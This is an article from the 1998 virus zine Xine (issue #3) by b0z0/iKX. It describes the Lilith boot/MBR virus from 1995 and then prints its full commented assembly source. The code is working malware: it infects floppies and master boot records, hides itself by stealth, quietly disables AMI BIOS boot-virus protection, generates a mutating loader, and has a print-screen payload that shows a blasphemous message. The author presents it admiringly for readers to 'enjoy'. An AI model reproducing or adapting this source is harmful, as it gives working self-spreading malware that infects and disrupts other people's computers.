Copy Link
Add to Bookmark
Report
Xine - issue #3 - Phile 304
/-----------------------------\
| Xine - issue #3 - Phile 304 |
\-----------------------------/
Virus Spotlite: Lilith
by b0z0/iKX, Padania 1998
Virus Name : Lilith
Origin : Milan (Padania), 1995
AV Name : Lilith
Type : Boot/MBR infector, full stealth on MBR, semipoly
Lenght : 1536 bytes (+ variable lenght semipoly loader)
Introduction:
-------------
This is a quite old but very interesting Padanian boot virus. Lilith is
the first boot virus that implemented the 18_tech (so redirecting the int13h
vector to a 'CD18', int 18h, opcode in ROM and then hooking int 18h. Check out
Dandler's article in Xine#2 for everything about this method) so it is fully
windoze compatible thus no silly messages appears at loading while the virus is
present. Apart this Lilith many other interesting features: disables boot virus
protection on AMI bioses, creates a semipoly loader that will load at boot time
the real body of the virus, it's full stealth on MBR, checks if probably another
boot virus on the target (so preventing conflicts), has a payload and other
things. It is well coded, with clear and interesting routines.
It is a shame that the virus has a quite strange bug in the loader generation
routines, since without that bug I think it should really have good chanches
to stay in the wild (go read about its story in Dandler's article in this zine).
The bug is not just coder's fault, but is due to some brain-damaged checks on
some BIOSes.
General tech aspects:
---------------------
When the virus will get control from the mutating loader (more about this in
the next section) it will store the original int13h vector and then get 2kbs
of memory (by substracting from [413h]) and copy itself up there. If the
condition for the payload activation is satisfacted (the lowest nibble of
the timer is 1100b) then the virus will hook Int 05h (print screen). Anyway
the virus will search for the 0cd18h in ROM (starting from 0f000h:0000)
and then will redirect the Int 13h to the founded opcode in ROM. Also Int 18h
will be hooked of course. After this the virus is ready to infect new floppyes,
but before leaving the control to the old boot (or MBR) the virus will try to
infect MBR and then load the original boot.
Nothing special till now, but the interesting stuff comes now. When the int
handler will see an interesting function (read/write on boot or mbr) it will
try to infect the victim. If the function is done on MBR then the virus will
check if it is already infected and if so it will return the original MBR. If
it isn't infected of course the virus will infect it. When a floppy is the
victim the virus will check if the data in the BPB of the floppy seems
interesting, thus bad or unformatted floppyes won't be infected. This checks
are quite simple (comparations of the bytes per sector, sectors on disk,
sectors on track and sides with some given stable values) but effective. Also
the usual check for the 55aah as the last two bytes of the sector will be done.
Another check is now done on both MBR and floppy: check for probable other boot
virus. Lilith will search the sector for three quite usual strings founded
in boot viruses that are:
mov word ptr [413h],ax
dec word ptr [413h]
sub word ptr [413h],xx
This check is quite simple, but is able to prevent some conflicts with many
other boot viruses.
If all the checks are ok, then the virus will calculate where to store its
body (3 sectors) and the original boot sector on the disk. On MBR infection
the place for this 4 sectors is stable, while isn't stable on flopppy disks.
The virus, using the data founded in the BPB, will calculate the place for
itself on the last four sectors of the last track on the last side of the
floppy. With this interesting way the Lilith won't have problems with different
floppy formats. It is very interesting that the same routine that is used to
find the place where to place the body is also used in the restoration part of
the virus. Infact when the virus will have to read the old boot it will have to
recalculate the position where it stored the original boot and will use again
the same routine (that will also check again that the boot is still intact,
no other viruses there and so on).
Saved the main body and original boot the virus will create the poly loader,
that will load at the boot the body of the virus that will be placed on the
calculated position on the disk. But I'll talk more deeply later about this
part.
When the loader is done to prevent warnings to the user the virus will disable
the AMI bios boot virus protection, write the boot/mbr with the loader and then
restore the settings of the cmos. And finally the control will be returned back
to the interrupt caller.
Finally some words about the payload. The virus will hook Int 05 (the print
screen), so most likely when the user will press the PtrSc key this routine
will be activated. The virus will set the screen to 40x25 mode, clear it
and then display its message on given offsets on the video. When the entire
message will be displayed its color will be changed. This will be done by
changing the color register R/G/B components. Each color component should
either be modified in the loop (inc or dec at each evolution) or be stable.
This choices are done somewhat randomly.
Mutating loader generation:
---------------------------
The routine that creates the mutating loader that gives control to the virus is
very interesting. What it must basically generate is the code to jump from the
beginning of the boot (0:7c00) to the rest of the routine (skipping the BPB),
setup the stack (so SS:SP will be 0:7c00), set the ES register to 0 (as CS and
SS), the BX register to 7e00h, set the CX and DX registers so they point to
the virus body stored on the floppy (MBR), set AX to a read for three sectors,
execute and Int 13h and then jump to the loaded virus body (0:7e00h).
Of course some things (like the CX and DX and AX assignation for the disk read)
can be done in a random way, but some need a specific order.
To make all this easyer the virus uses some tables with some internal
pseudocommands. In this way when the loader creation routine will get a given
command byte will know how can this be done. The lower nibble of the byte
will be used as an added parameter, while the high nibble is the real command.
Let's see the complete table of commands:
0000b = 0xh = just skip
0001b = 1xh = jump directly to the value in BX
0010b = 2xh = copy CH bytes from DS:BX to ES:DI
0100b = 4xh = do all the elements of the table at DS:BX in the given order
1000b = 8xh = do just one from the table at DS:BX
1100b = Cxh = do all the elements of the table at DS:BX in a random order
So what is the use of all this? When main routine (process data) will get one
of this "commands" it will call another routine that do the given set of
instructions. So at the very beginning the routine will get a 047h, since it
will have to create all the 07h important stages (they are the jump, the
initialization of AX and a cli, the stack set, the es set, the registers set
for the read, the int13h execution and the jump to the virus). It will also be
supplied with a table with the adresses to this 07h stages. The routine will
get the first adress and check which command is there, that is a 82h with a
table of two adresses. So the routine will have to select one (the 8xh command)
of the two ways (the x2h) of creating the first jump over the BPB. Since each
of this two adresses for the way of creating the jump point to a 1xh then the
routine will simply jump there and so create the initial jump. Then the routine
will pass to the second important stage. Here we have a C2h, so the routine
will consider both the elements of the table, but in random order.
And so on, hope you got the idea of how it works. Check out the code, is clear
and commented enough to make a fast idea on how it works, but it is rather
strange to describe with words :)
In this way the routine will select (where possible) between a set of
instructions that do some needed work (for example to make AX became zero the
VW put 5 ways to do so) and in a random order (again, where possible... of
course you can't first code then jump to the virus body at 0:7e00h as the
first thing, hehe :) ).
The routines are quite interesting, since there is some sorta internal code to
create the loader, really fun and goodlooking code. Of course the possible
mutations of the loader are quite limited and it should not be too difficoult
to spot nowadays, but, again, the code is rather interesting.
And finally to the sorta bug of the virus that is included just in the code
generation. This isn't just a real virus bug, but rather a dummy check of the
BIOS programmers. Infact many BIOSes when will see a a JMP SHORT (opcode 0EBh)
as the first byte of the boot sector will check if the third byte is a NOP
(opcode 90h). If this third byte isn't a NOP they will just stop there,
claiming the floppy is not valid. As you can spot from the code the virus
doens't put a NOP there, but a 00h :-( So when an infected floppy will be used
on such a shitty BIOS, the system will just hang there :-((( Really a shame
for such a interesting virus, really :-(
Well, that's all, greetings to the author of the Lilith and thanx to Dandler
for some very important hints ;)
Here comes the source, enjoy!
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ LILITH ÛÛ
;ÛÛ Milan, Padania, 1995 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Disasm by b0z0/iKX ÛÛ
;ÛÛ Padania 1998 ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
lilith segment byte public
assume cs:lilith, ds:lilith
org 0
boot_start:
jmp short load_vir
nop
db 4bh dup (00)
load_vir:
cli
mov ax,0
mov sp,7c00h ; a sample virus loader to
mov ss,ax ; make installation faster :)
push ss
pop es
mov ax,0203h
mov bx,7e00h ; if you don't know what this
mov cx,0002h ; is then you don't need to
mov dx,0000h ; use this ;)
int 13h
jmp lilith_start
org 200h - 2h
boot_end db 55h,0aah
; Virus body starts here. This is placed on three sectors of the floppy.
; This is loaded to 0:7e00h when the virus starts, while is set at offset
; 200h of the virus segment when memory is reserved.
lilith_start:
sti
cld
push es
pop ds
push dx
or dl,80h ; reset disk
sub ah,ah
int 13h
pop dx
cmp byte ptr ds:[4efh],'L' ; residency check
jne must_load
jmp already_on
must_load:
mov byte ptr ds:[4efh],'L'
push es
les bx,dword ptr ds:[13h * 4] ; save orig int 13h
mov word ptr ds:[orig13h + 7c00h],bx
mov word ptr ds:[orig13h + 2 + 7c00h],es
pop es
mov ax,word ptr ds:[413h]
sub ax,2 ; sub 2 kbs of mem
mov word ptr ds:[413h],ax
mov cl,6
shl ax,cl
mov es,ax ; get virus segment
cli
call get_timer
and al,0fh ; check for payload
cmp al,0ch ; activation
jne no_payload
mov word ptr ds:[05h * 4],offset int05h_handler
mov word ptr ds:[05h * 4 + 2],es
no_payload:
push es
call find_cd18_rom ; find cd18 in rom
mov word ptr ds:[13h * 4],bx ; point int13 to the
mov word ptr ds:[13h * 4 + 2],es ; int18 in rom
pop es
mov word ptr ds:[18h * 4],offset int18h_handler
mov word ptr ds:[18h * 4 + 2],es ; and hook int18
mov si,7e00h ; copy virus from begin to
mov di,200h ; reserved mem starting at
mov cx,600h ; seg:200h
rep movsb
sti
mov ax,offset reloc_back ; go running from there
push es
push ax
retf
reloc_back:
sub ax,ax
mov es,ax
push dx
mov bx,7c00h
mov cx,1
mov dx,80h ; read (so infect since we
mov ax,201h ; already hooked int13h) mbr
int 13h
pop dx
mov bx,7c00h ; read again boot from
mov cx,1 ; which we were originally
sub dh,dh ; starting
mov ax,201h
int 13h
error_loop0:
jc error_loop0
already_on:
mov bx,7c00h
call check_boot_ok
cmp cl,0ffh ; if bad boot just loop here
error_loop1:
je error_loop1
mov ax,201h ; else read original boot
int 13h
error_loop2:
jc error_loop2
push es
push bx ; and pass control to orig
retf ; boot
find_cd18_rom:
mov ax,0f000h
mov es,ax ; to rom
sub bx,bx
loop_18h:
inc bx
cmp word ptr es:[bx],18cdh ; search int18h
jne loop_18h
retn
int05h_handler:
mov al,20h
out 20h,al ; disable irq5
mov ax,1 ; set video to 40x25
int 10h
mov cx,2000h ; set cursor type
mov ax,101h
int 10h
mov ax,0b800h ; on video mem
mov es,ax
sub di,di
mov cx,(40d * 25d)
mov ax,7020h ; clear entire video
rep stosw
push cs
pop ds
mov si,offset payload ; on data for payload
get_offset_vm:
lodsw
mov di,ax ; get offset where to draw
out_text:
lodsb
cmp al,0dh ; if end get next offset
je get_offset_vm
cmp al,0 ; end of entire stuff?
je end_text
stosb
inc di ; leave text attributes
jmp short out_text
end_text:
sub ch,ch
sub cl,cl
sub dh,dh
begin_cycle:
call get_timer
and al,7 ; get 3 random bits
cmp al,0
je begin_cycle
mov dl,al ; put in regs for color
shr al,1 ; changing
mov bl,al
shr al,1
mov bh,al
and bh,1
and bl,1 ; just one bit for color reg
and dl,1 ; change. 1 will change (up or
; down) while 0 no change
cmp ch,3fh ; if max color then color will
jne no_inv1 ; decrease instead of
neg bh ; increasing
no_inv1:
cmp cl,3fh ; if max then invert
jne no_inv2
neg bl
no_inv2:
cmp dh,3fh ; if max then invert
jne no_inv3
neg dl
no_inv3:
mov si,3fh ; trough all the possible
cycle_components:
cmp si,0 ; end?
je begin_cycle
push bx
sub bx,bx
mov ax,1010h ; set color register bx to
int 10h ; dh/ch/cl (r/g/b)
pop bx
dec si
add ch,bh ; change the color components
add cl,bl ; as decided before
add dh,dl
push cx
mov cx,4
wait_loop0:
push cx
mov cx,0ffffh ; wait a bit here
wait_loop1:
loop wait_loop1
pop cx
loop wait_loop0
pop cx
jmp short cycle_components ; again changing colors
int18h_handler:
cli
add sp,6 ; correct stack for int18h tech
sti
cmp ah,2 ; reading or writing?
jb chain_old
cmp ah,3
ja chain_old
cmp cx,1 ; possible boot/mbr?
jne chain_old
cmp dh,0
jne chain_old
cmp dl,80h ; first disk or floppy?
jbe possible_infect
chain_old:
jmp dword ptr cs:[orig13h]
possible_infect:
call call_orig13h ; do the requested call
jnc try_infect ; if succesfull then try to
jmp bad_operation ; infect
try_infect:
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
pushf
cmp byte ptr es:[bx+1],4ch ; already infected?
jne infect_it
cmp dl,80h ; reading mbr?
jne infect_it
call check_boot_ok ; so check if infected and if
cmp cl,0ffh ; so set CX/DX to original copy
je infect_it ; else infect
mov ax,201h ; read original -> stealth
call call_orig13h
jmp short exit_binf ; work done
infect_it:
cmp byte ptr es:[bx+1],4ch ; infected? (but from fd)
je exit_binf ; if so just leave
mov si,bx
mov di,es
call check_boot_ok ; check if boot/mbr is ok
cmp cl,0ffh ; ff= error, else in CX/DX we have
je exit_binf ; params where to write the virus
cld
push si
push di
push es
pop ds
push cs
pop es
mov si,bx
mov di,0 ; copy the user buffer (of the read
push cx ; or write, so the floppy boot or mbr)
mov cx,200h ; to our buffer at vir_seg:0
rep movsb
pop cx
pop di
pop si
mov bx,0
mov ax,304h ; CX and DX already set to where to
push ax ; write. So write 4 secs: orig boot/mbr
call call_orig13h ; + virus body
pop ax
jc exit_binf
call make_loader ; create loader that will load the
; virus at boot
call read_cmos_inf
push ax
and al,0bfh ; disable boot virus protection on
call write_cmos_inf ; AMI bioses
mov bx,0
mov cx,1
sub dh,dh
mov ax,301h
call call_orig13h ; write new boot/mbr with loader
pop ax
call write_cmos_inf ; restore the virus protection info
; as it was before in cmos
exit_binf:
popf
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
bad_operation:
retf 2
call_orig13h:
pushf
call dword ptr cs:[orig13h]
retn
check_boot_ok:
call check_phys
jc bad_fd_hd
call check_vir
jc bad_fd_hd
cmp dl,80h
je disk_here
; then we have a floppy. now the code sets in CX and DX the values where
; the virus is (if this routine is called at the boot time) or where the
; virus will be written (when this routine is called at infection). The
; virus will always put itself on four sectors of the floppy starting
; from the last track (calculated below), on the last side (so value at
; side in the boot sector - 1, since 0 means 1 side) and on the last 4
; sectors of the track.
push dx
mov ax,es:[bx+13h] ; total sectors
cwd
mov cx,es:[bx+18h] ; sectors per track
div cx
cwd
mov cx,es:[bx+1ah] ; sides
div cx
mov ch,al
dec ch
pop dx
mov cl,es:[bx+18h] ; sectors per track
sub cl,4 ; last four
mov dh,es:[bx+1ah] ; sides
dec dh ; - 1
retn
disk_here:
; while the place on the hd is stable
sub ch,ch
mov cl,0ch
sub dh,dh
retn
bad_fd_hd:
mov cl,0ffh ; failure value
retn
check_phys:
cmp dl,80h ; no check for hd
je hd_boot
; if floppy then do some consistency checks on the data in the BPB to
; be quite sure it is formatted and valid
cmp word ptr es:[bx+0Bh],200h ; bytes per sector
jne bad_boot
cmp word ptr es:[bx+13h],0 ; secs on disk
je bad_boot
cmp word ptr es:[bx+18h],0 ; secs per track
je bad_boot
cmp word ptr es:[bx+1ah],2 ; sides
ja bad_boot
hd_boot:
cmp word ptr es:[bx + 1feh],0aa55h ; valid boot?
jne bad_boot
clc
retn
bad_boot:
stc
retn
check_vir:
; try to check if it is infected by another boot virus by looking for three
; typical strings. this will prevent some conflicts with other boot viruses
push bx
mov ax,bx
add ax,1fch
vir_loop:
cmp bx,ax
je end_scan
cmp byte ptr es:[bx],0a3h ; mov word ptr [413h],ax
jne not_this1
cmp byte ptr es:[bx+1],13h
jne not_this1
cmp byte ptr es:[bx+2],4
je probable_one
not_this1:
cmp byte ptr es:[bx],0ffh ; dec word ptr [413h]
jne not_this2
cmp byte ptr es:[bx+1],0eh
jne not_this2
cmp byte ptr es:[bx+2],13h
jne not_this2
cmp byte ptr es:[bx+3],4
je probable_one
not_this2:
cmp byte ptr es:[bx],83h ; sub word ptr [413h],
jne not_this3
cmp byte ptr es:[bx+1],2eh
jne not_this3
cmp byte ptr es:[bx+2],13h
jne not_this3
cmp byte ptr es:[bx+3],4
je probable_one
not_this3:
inc bx
jmp short vir_loop
end_scan:
pop bx ; seems ok
clc
retn
probable_one:
pop bx ; better leave this disk
stc
retn
read_cmos_inf:
call prep_cmos_inf
in al,71h ; read in al value of cmos
sti ; byte at 2dh
retn
write_cmos_inf:
call prep_cmos_inf
out 71h,al ; set al value to 2dh in cmos
sti
retn
prep_cmos_inf:
push ax
mov al,2dh ; ami bios configuration opts
cli
out 70h,al ; prepare for read from cmos
jcxz $+2 ; the byte at 2dh
pop ax
retn
make_loader:
push ds
push cs
pop ds
mov byte ptr ds:[orig_al],al ; save input data,
dec byte ptr ds:[orig_al] ; this is the place
mov byte ptr ds:[orig_ch],ch ; where the virus
mov byte ptr ds:[orig_cl],cl ; is placed, so what
inc byte ptr ds:[orig_cl] ; the loader must
mov byte ptr ds:[orig_dh],dh ; read
mov byte ptr ds:[orig_dl],dl
and byte ptr ds:[orig_dl],80h
push si
push di
mov di,0 ; destination mem
mov bx,offset loader_data
call process_data ; do the virus loader
pop di
pop si
pop ds
retn
process_data:
mov al,byte ptr [bx] ; get cmd from mem
inc bx ; on parameter table
mov ch,al
and al,0f0h ; in AL the command
xor ch,al ; in CH parameter for command
cmp al,80h ; select one from given table
je select_one
cmp al,40h ; do all the ones from given table
je main_do_inseq ; in given order
cmp al,20h ; copy CH bytes from given mem addr
je copy_chbytes
cmp al,10h ; jump to value in BX
je execute_on_bx
cmp al,0 ; do nothing
je just_return
cmp al,0c0h ; do all the ones from given table
je do_all_seq ; in random order
corrupted_loop:
jmp short corrupted_loop ; else some error!
select_one:
call get_timer
check_sel:
cmp al,ch
jbe sel_ok ; select one in <= max
sub al,ch
jmp short check_sel
sel_ok:
cmp al,0
je select_one ; not = 0
sub ah,ah
dec ax
shl ax,1 ; * 2 for offset in mem
add bx,ax ; add offset to base
mov bx,word ptr [bx]
jmp short process_data ; get addr and process
main_do_inseq:
mov cl,ch ; number of entries
loop_mainseq:
cmp cl,0
je end_mainseq
push cx
push bx
mov bx,[bx] ; get adress of data to process
call process_data ; process
pop bx
pop cx
add bx,2 ; on next one
dec cl
jmp short loop_mainseq
end_mainseq:
retn
copy_chbytes:
mov cl,ch
copy_loop:
cmp cl,0
je copy_end
mov al,byte ptr [bx]
inc bx
stosb
dec cl
jmp short copy_loop
copy_end:
retn
execute_on_bx:
jmp bx ; jump to that code
just_return:
retn
do_all_seq:
sub si,si
mov cl,ch ; nr of entries
do_all_loop:
cmp cl,0
je end_do_all_c0
get_one:
call get_timer
select_whichone:
cmp al,ch
jbe good_sel
sub al,ch
jmp short select_whichone
good_sel:
sub ah,ah
dec ax
push ax
push cx
mov cl,al
mov ax,1 ; in this way each bit represents
shl ax,cl ; one done instruction
mov cx,ax
and ax,si ; check if this one already done
or si,cx ; set this as already done
cmp ax,0
pop cx
pop ax
jnz get_one ; this already done, redo
shl ax,1 ; * 2 for offset in mem
push bx
push cx
add bx,ax ; add to begin of the table
mov bx,word ptr [bx]
call process_data ; get addr of new and process it
pop cx
pop bx
dec cl
jmp short do_all_loop
end_do_all_c0:
retn
get_timer:
push ds
sub ax,ax
mov ds,ax
mov al,byte ptr ds:[46ch]
pop ds
retn
orig_al db 00h ; saved parameters from call
orig_ch db 00h
orig_cl db 00h
orig_dh db 00h
orig_dl db 00h
; tables and constructs for the loader generation follows
loader_data:
db (40h + 07h) ; 7 stages to create in given order
dw offset init_jmp ; jmp over BPB
dw offset begin_init ; AX = 0 and CLI
dw offset set_stack ; SS:SP = 0:7c00
dw offset set_essti ; ES = 0 and STI
dw offset set_registers ; set AX,CX,DX to read virus
dw offset do_int13h ; call to int 13h
dw offset to_virus ; jump to virus (0:7e00)
init_jmp:
db (80h + 02h) ; 2 ways for the first jump
dw offset init_jmp_1
dw offset init_jmp_2
begin_init:
db (0c0h + 02h) ; do both in rnd order
dw offset set_cli
dw offset zero_ax
zero_ax:
db (80h + 05h) ; select one of the 5 ways
dw offset zero_ax_1 ; to zero AX
dw offset zero_ax_2
dw offset zero_ax_3
dw offset zero_ax_4
dw offset zero_ax_5
set_stack:
db (0c0h + 02h) ; set stack in two passages
dw offset set_stack_1 ; set SS
dw offset set_stack_2 ; set SP
set_essti:
db (0c0h + 02h)
dw offset set_es ; set ES = 0
dw offset set_sti ; STI
set_es:
db (80h + 04h)
dw offset set_es_1
dw offset set_es_2
dw offset set_es_3
dw offset set_es_4
set_sti:
db (80h + 02h)
dw offset sti_1
dw offset sti_2
set_registers:
db (0c0h + 04h)
dw offset set_bx
dw offset set_cx
dw offset set_dx
dw offset set_ax
set_bx:
db (80h + 03h)
dw offset set_bx_1
dw offset set_bx_2
dw offset set_bx_3
set_cx:
db (80h + 03h)
dw offset set_cx_1
dw offset set_cx_2
dw offset set_cx_3
set_dx:
db (80h + 03h)
dw offset set_dx_1
dw offset set_dx_2
dw offset set_dx_3
set_ax:
db (80h + 03h)
dw offset set_ax_1
dw offset set_ax_2
dw offset set_ax_3
do_int13h:
db (80h + 04h)
dw offset do_int13h_1
dw offset do_int13h_2
dw offset do_int13h_3
dw offset do_int13h_4
to_virus:
db (80h + 04h)
dw offset to_virus_1
dw offset to_virus_2
dw offset to_virus_3
dw offset to_virus_4
init_jmp_1:
db (10h)
mov al,0ebh ; jmp to virus loader
stosb
mov al,4ch
stosb
sub al,al ; here is the BUG :-((
; mov al,90h ; possible solution, but should change
; in another way so the virus lenght
; will be correct
stosb
add di,4bh
ret
init_jmp_2:
db (10h)
mov al,0e9h ; jmp to virus loader
stosb
mov al,4ch
stosb
sub al,al
stosb
add di,4ch
ret
set_cli:
db (20h + 01h) ; 20h means just copy, 01 is the
cli ; lenght of the instruction
zero_ax_1:
db (20h + 02h)
xor ax,ax
zero_ax_2:
db (20h + 02h)
sub ax,ax
zero_ax_3:
db (20h + 03h)
mov ax,0h
zero_ax_4:
db (20h + 04h)
mov ah,0
mov al,0
zero_ax_5:
db (20h + 04h)
mov al,0
mov ah,0
set_stack_1:
db (20h + 02h)
mov ss,ax
set_stack_2:
db (20h + 03h)
mov sp,7c00h
set_es_1:
db (20h + 02h)
mov es,ax
set_es_2:
db (20h + 02h)
push ax
pop es
set_es_3:
db (20h + 02h)
push ss
pop es
set_es_4:
db (20h + 02h)
push cs
pop es
sti_1:
db (20h + 01h)
sti
sti_2:
db 00h
set_bx_1:
db (20h + 03h)
mov bx,7e00h
set_bx_2:
db (20h + 04h)
mov bh,7eh
mov bl,00h
set_bx_3:
db (20h + 04h)
mov bl,00h
mov bh,7eh
set_cx_1:
db (10h)
mov al,0b9h ; mov cx,
stosb
mov al,byte ptr [orig_cl]
stosb
mov al,byte ptr [orig_ch]
stosb
ret
set_cx_2:
db (10h)
mov al,0b5h ; mov ch,
stosb
mov al,byte ptr ds:[orig_ch]
stosb
mov al,0b1h ; mov cl,
stosb
mov al,byte ptr ds:[orig_cl]
stosb
ret
set_cx_3:
db (10h)
mov al,0b1h ; mov cl,
stosb
mov al,byte ptr [orig_cl]
stosb
mov al,0b5h ; mov ch,
stosb
mov al,byte ptr [orig_ch]
stosb
ret
set_dx_1:
db (10h)
mov al,0bah ; mov dx,
stosb
mov al,byte ptr [orig_dl]
stosb
mov al,byte ptr [orig_dh]
stosb
ret
set_dx_2:
db (10h)
mov al,0b6h ; mov dh,
stosb
mov al,byte ptr [orig_dh]
stosb
mov al,0b2h ; mov dl,
stosb
mov al,byte ptr [orig_dl]
stosb
ret
set_dx_3:
db (10h)
mov al,0b2h ; mov dl,
stosb
mov al,byte ptr [orig_dl]
stosb
mov al,0b6h ; mov dh,
stosb
mov al,byte ptr [orig_dh]
stosb
ret
set_ax_1:
db (10h)
mov al,0b8h ; mov ax,
stosb
mov al,byte ptr [orig_al]
stosb
mov al,02h
stosb
ret
set_ax_2:
db (10h)
mov ax,02b4h ; mov ah,02h
stosw
mov al,0b0h ; mov al,
stosb
mov al,byte ptr [orig_al]
stosb
ret
set_ax_3:
db (10h)
mov al,0b0h ; mov al,
stosb
mov al,byte ptr [orig_al]
stosb
mov ax,02b4h ; mov ah,02
stosw
ret
do_int13h_1:
db (20h + 02h)
int 13h
do_int13h_2:
db (20h + 06h)
pushf
db 26h
db 0ffh,1eh ; call far es:[4ch]
dw 04ch
do_int13h_3:
db (20h + 06h)
pushf
db 2eh
db 0ffh,1eh ; call far ss:[4ch]
dw 04ch
do_int13h_4:
db (20h + 06h)
pushf
db 36h
db 0ffh,1eh ; call far cs:[4ch]
dw 04ch
to_virus_1:
db (10h)
mov al,0e9h ; jmp
stosb
mov ax,200h ; to virus entry point at
sub ax,di ; 0:7e00h, so here calc
sub ax,2 ; offset
stosw
ret
to_virus_2:
db (20h + 05h)
db 0eah ; jmp far 0:7e00h
dw 7e00h,0000h
to_virus_3:
db (10h)
mov al,0e8h ; call
stosb
mov ax,200h ; to virus entry point at
sub ax,di ; 0:7e00h, so here calc
sub ax,2 ; offset
stosw
ret
to_virus_4:
db (20h + 05h)
db 09ah ; call far 0:7e00h
dw 7e00h,0000h
orig13h dw 9A44h, 0F000h
payload:
dw 332h ; offset in vmem
db 'L ú I ú L ú I ú T ú H',0dh
dw 37eh ; offset in vmem
db 'Tu del creato prima Donna', 0dh
dw 3cch ; offset in vmem
db 'del Sesso Maestra infernale', 0dh
dw 418h ; offset in vmem
db 'accogli le Nostre dannate Carni', 0dh
dw 470h ; offset in vmem
db 'nel Tuo satanico Ventre', 0
origin db 'Milan Italy 95'
boot_mrk db 55h,0aah
lilith ends
end boot_start